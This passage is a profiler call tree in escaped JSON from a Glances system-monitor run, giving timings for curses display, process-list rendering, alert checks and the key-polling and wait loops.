\"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.005409,\"attributes\": {\"cPollSelector\": 0.005408982004155405, \"l398\": 0.005408982004155405},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.005409,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.005409,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.001487,\"attributes\": {},\"children\": []},{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.005017,\"attributes\": {\"cPollSelector\": 0.005017373005102854, \"l398\": 0.005017373005102854},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.005017,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.005017,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001993,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/memswap/__init__.py\\u0000143\",\"time\": 0.001985,\"attributes\": {\"cMemswapPlugin\": 0.001984843001991976, \"l151\": 0.001984843001991976},\"children\": [{\"identifier\": \"get_alert_log\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000945\",\"time\": 0.001985,\"attributes\": {\"cMemswapPlugin\": 0.001984843001991976, \"l947\": 0.001984843001991976},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001985,\"attributes\": {\"cMemswapPlugin\": 0.001984843001991976, \"l882\": 0.001984843001991976},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001985,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001138\",\"time\": 2.061422,\"attributes\": {\"cGlancesCursesStandalone\": 2.0614221089999774, \"l1154\": 0.04999137599952519, \"l1169\": 1.0067164209976909, \"l1172\": 1.0047143120027613},\"children\": [{\"identifier\": \"flush\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001124\",\"time\": 0.049991,\"attributes\": {\"cGlancesCursesStandalone\": 0.04999137599952519, \"l1135\": 0.04999137599952519},\"children\": [{\"identifier\": \"display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000549\",\"time\": 0.049991,\"attributes\": {\"cGlancesCursesStandalone\": 0.04999137599952519, \"l569\": 0.04799045799882151, \"l603\": 0.0020009180007036775},\"children\": [{\"identifier\": \"__get_stat_display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000514\",\"time\": 0.047990,\"attributes\": {\"cGlancesCursesStandalone\": 0.04799045799882151, \"l545\": 0.04799045799882151},\"children\": [{\"identifier\": \"get_stats_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001082\",\"time\": 0.047990,\"attributes\": {\"cProgramlistPlugin\": 0.019999903997813817, \"l1101\": 0.04799045799882151, \"cProcesslistPlugin\": 0.027990554001007695},\"children\": [{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000556\",\"time\": 0.047990,\"attributes\": {\"cProgramlistPlugin\": 0.019999903997813817, \"l587\": 0.04799045799882151, \"cProcesslistPlugin\": 0.027990554001007695},\"children\": [{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.047990,\"attributes\": {\"cProgramlistPlugin\": 0.019999903997813817, \"l538\": 0.04009111899358686, \"l541\": 0.005986931006191298, \"cProcesslistPlugin\": 0.027990554001007695, \"l539\": 0.001912407999043353},\"children\": [{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002090,\"attributes\": {\"cProgramlistPlugin\": 0.002090433001285419, \"l309\": 0.002090433001285419},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002090,\"attributes\": {\"cProgramlistPlugin\": 0.002090433001285419, \"l856\": 0.002090433001285419},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002090,\"attributes\": {\"cProgramlistPlugin\": 0.002090433001285419, \"l963\": 0.002090433001285419},\"children\": [{\"identifier\": \"str.lower\\u0000<built-in>\\u00000\",\"time\": 0.002090,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002090,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019999079959234223, \"l440\": 0.0019999079959234223},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019999079959234223, \"l296\": 0.0019999079959234223},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019999079959234223, \"l963\": 0.0019999079959234223},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.001994,\"attributes\": {\"cProgramlistPlugin\": 0.0019944270025007427, \"l325\": 0.0019944270025007427},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001994,\"attributes\": {\"cProgramlistPlugin\": 0.0019944270025007427, \"l855\": 0.0019944270025007427},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001994,\"attributes\": {\"cProgramlistPlugin\": 0.0019944270025007427, \"l969\": 0.0019944270025007427},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001994,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001997,\"attributes\": {\"cProgramlistPlugin\": 0.0019965069950558245, \"l303\": 0.0019965069950558245},\"children\": [{\"identifier\": \"key_exist_value_not_none_not_v\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000236\",\"time\": 0.001997,\"attributes\": {\"l242\": 0.0019965069950558245},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002009,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.002000448999751825, \"l472\": 0.002000448999751825},\"children\": [{\"identifier\": \"_get_process_curses_io_read_write\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000450\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.002000448999751825, \"l465\": 0.002000448999751825},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001904,\"attributes\": {\"cProgramlistPlugin\": 0.0019042130006710067, \"l309\": 0.0019042130006710067},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001904,\"attributes\": {\"cProgramlistPlugin\": 0.0019042130006710067, \"l885\": 0.0019042130006710067},\"children\": [{\"identifier\": \"manage_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000904\",\"time\": 0.001904,\"attributes\": {\"cProgramlistPlugin\": 0.0019042130006710067, \"l907\": 0.0019042130006710067},\"children\": [{\"identifier\": \"get_limit_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000971\",\"time\": 0.001904,\"attributes\": {\"cProgramlistPlugin\": 0.0019042130006710067, \"l991\": 0.0019042130006710067},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001904,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.002084,\"attributes\": {\"cProgramlistPlugin\": 0.002083906998450402, \"l439\": 0.002083906998450402},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002084,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.003965,\"attributes\": {\"cProgramlistPlugin\": 0.0019248919998062775, \"l309\": 0.003964757997891866, \"cProcesslistPlugin\": 0.002039865998085588},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.003965,\"attributes\": {\"cProgramlistPlugin\": 0.0019248919998062775, \"l856\": 0.0019248919998062775, \"cProcesslistPlugin\": 0.002039865998085588, \"l885\": 0.002039865998085588},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001925,\"attributes\": {},\"children\": []},{\"identifier\": \"str.lower\\u0000<built-in>\\u00000\",\"time\": 0.002040,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002040,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.002037,\"attributes\": {\"cProcesslistPlugin\": 0.0020367280012578703, \"l397\": 0.0020367280012578703},\"children\": [{\"identifier\": \"seconds_to_hms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u000089\",\"time\": 0.002037,\"attributes\": {\"l91\": 0.0020367280012578703},\"children\": [{\"identifier\": \"divmod\\u0000<built-in>\\u00000\",\"time\": 0.002037,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002037,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001989,\"attributes\": {\"cProcesslistPlugin\": 0.0019891330011887476, \"l309\": 0.0019891330011887476},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001989,\"attributes\": {\"cProcesslistPlugin\": 0.0019891330011887476, \"l882\": 0.0019891330011887476},\"children\": [{\"identifier\": \"manage_threshold\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000900\",\"time\": 0.001989,\"attributes\": {\"cProcesslistPlugin\": 0.0019891330011887476, \"l902\": 0.0019891330011887476},\"children\": [{\"identifier\": \"add\\u0000/home/nicolargo/dev/glances/glances/thresholds.py\\u000042\",\"time\": 0.001989,\"attributes\": {\"cGlancesThresholds\": 0.0019891330011887476, \"l50\": 0.0019891330011887476},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001989,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002014,\"attributes\": {\"cProcesslistPlugin\": 0.0020136279999860562, \"l361\": 0.0020136279999860562},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.002014,\"attributes\": {\"cProcesslistPlugin\": 0.0020136279999860562, \"l350\": 0.0020136279999860562},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.002014,\"attributes\": {\"cProcesslistPlugin\": 0.0020136279999860562, \"l1251\": 0.0020136279999860562},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.002014,\"attributes\": {\"l478\": 0.0020136279999860562},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002014,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.002009,\"attributes\": {\"cProcesslistPlugin\": 0.0020088530000066385, \"l500\": 0.0020088530000066385},\"children\": [{\"identifier\": \"isdir\\u0000<frozen genericpath>\\u000048\",\"time\": 0.002009,\"attributes\": {\"l51\": 0.0020088530000066385},\"children\": [{\"identifier\": \"stat\\u0000<built-in>\\u00000\",\"time\": 0.002009,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002009,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.001994,\"attributes\": {\"cProcesslistPlugin\": 0.0019939869962399825, \"l440\": 0.0019939869962399825},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.001994,\"attributes\": {\"cProcesslistPlugin\": 0.0019939869962399825, \"l290\": 0.0019939869962399825},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001994,\"attributes\": {\"cProcesslistPlugin\": 0.0019939869962399825, \"l963\": 0.0019939869962399825},\"children\": [{\"identifier\": \"str.lower\\u0000<built-in>\\u00000\",\"time\": 0.001994,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001994,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001993,\"attributes\": {},\"children\": []},{\"identifier\": \"list.extend\\u0000<built-in>\\u00000\",\"time\": 0.001998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.002004,\"attributes\": {\"cProcesslistPlugin\": 0.002004451998800505, \"l405\": 0.002004451998800505},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002004,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002011,\"attributes\": {\"cProcesslistPlugin\": 0.002010964999499265, \"l360\": 0.002010964999499265},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.002011,\"attributes\": {\"cProcesslistPlugin\": 0.002010964999499265, \"l340\": 0.002010964999499265},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002011,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.001989,\"attributes\": {\"cProcesslistPlugin\": 0.0019886779991793446, \"l397\": 0.0019886779991793446},\"children\": [{\"identifier\": \"seconds_to_hms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u000089\",\"time\": 0.001989,\"attributes\": {\"l92\": 0.0019886779991793446},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001989,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.001912,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002001129003474489, \"l309\": 0.002001129003474489},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002001129003474489, \"l874\": 0.002001129003474489},\"children\": [{\"identifier\": \"get_limit_log\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000993\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002001129003474489, \"l1001\": 0.002001129003474489},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019995920010842383, \"l439\": 0.0019995920010842383},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"__display_right\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000826\",\"time\": 0.002001,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020009180007036775, \"l845\": 0.0020009180007036775},\"children\": [{\"identifier\": \"display_plugin\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001062\",\"time\": 0.002001,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020009180007036775, \"l1094\": 0.0020009180007036775},\"children\": [{\"identifier\": \"display_stats\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001027\",\"time\": 0.002001,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020009180007036775, \"l1054\": 0.0020009180007036775},\"children\": [{\"identifier\": \"display_stats_with_current_size\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001016\",\"time\": 0.002001,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020009180007036775, \"l1018\": 0.0020009180007036775},\"children\": [{\"identifier\": \"window.addnstr\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.101893,\"attributes\": {\"cGlancesCursesStandalone\": 0.10189311699650716, \"l291\": 0.10189311699650716},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.101893,\"attributes\": {\"cGlancesCursesStandalone\": 0.10189311699650716, \"l260\": 0.10189311699650716},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.101893,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.101893,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100543,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054287299863063, \"l1202\": 0.10054287299863063},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100543,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100543,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100533,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053304900065996, \"l291\": 0.10053304900065996},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100533,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053304900065996, \"l260\": 0.10053304900065996},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100533,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100533,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100520,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052016300323885, \"l1202\": 0.10052016300323885},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100520,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100520,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100547,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054660699825035, \"l291\": 0.10054660699825035},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100547,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054660699825035, \"l260\": 0.10054660699825035},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100547,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100547,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100436,\"attributes\": {\"cGlancesCursesStandalone\": 0.10043592500005616, \"l1202\": 0.10043592500005616},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100436,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100436,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100442,\"attributes\": {\"cGlancesCursesStandalone\": 0.10044242800358916, \"l291\": 0.10044242800358916},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100442,\"attributes\": {\"cGlancesCursesStandalone\": 0.10044242800358916, \"l260\": 0.10044242800358916},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100442,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100442,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100367,\"attributes\": {\"cGlancesCursesStandalone\": 0.10036690999550046, \"l1202\": 0.10036690999550046},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100367,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100367,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100585,\"attributes\": {\"cGlancesCursesStandalone\": 0.10058510299859336, \"l291\": 0.10058510299859336},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100585,\"attributes\": {\"cGlancesCursesStandalone\": 0.10058510299859336, \"l260\": 0.10058510299859336},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100585,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100585,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100581,\"attributes\": {\"cGlancesCursesStandalone\": 0.10058138600288657, \"l1202\": 0.10058138600288657},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100581,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100581,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100614,\"attributes\": {\"cGlancesCursesStandalone\": 0.10061431799840648, \"l291\": 0.10061431799840648},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100614,\"attributes\": {\"cGlancesCursesStandalone\": 0.10061431799840648, \"l260\": 0.10061431799840648},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100614,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100614,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100456,\"attributes\": {\"cGlancesCursesStandalone\": 0.1004562710004393, \"l1202\": 0.1004562710004393},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100456,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100456,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100633,\"attributes\": {\"cGlancesCursesStandalone\": 0.10063262299809139, \"l291\": 0.10063262299809139},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100633,\"attributes\": {\"cGlancesCursesStandalone\": 0.10063262299809139, \"l260\": 0.10063262299809139},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100633,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100633,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100522,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052197000186425, \"l1202\": 0.10052197000186425},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100522,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100522,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100614,\"attributes\": {\"cGlancesCursesStandalone\": 0.10061419600242516, \"l291\": 0.10061419600242516},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100614,\"attributes\": {\"cGlancesCursesStandalone\": 0.10061419600242516, \"l260\": 0.10061419600242516},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100614,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100614,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100467,\"attributes\": {\"cGlancesCursesStandalone\": 0.10046672700264025, \"l1202\": 0.10046672700264025},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100467,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100467,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100360,\"attributes\": {\"cGlancesCursesStandalone\": 0.10035985199647257, \"l291\": 0.10035985199647257},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100360,\"attributes\": {\"cGlancesCursesStandalone\": 0.10035985199647257, \"l260\": 0.10035985199647257},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100360,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100360,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100380,\"attributes\": {\"cGlancesCursesStandalone\": 0.10037995399761712, \"l1202\": 0.10037995399761712},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100380,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100380,\"attributes\": {},\"children\": []}]}]},{\"identifier\": 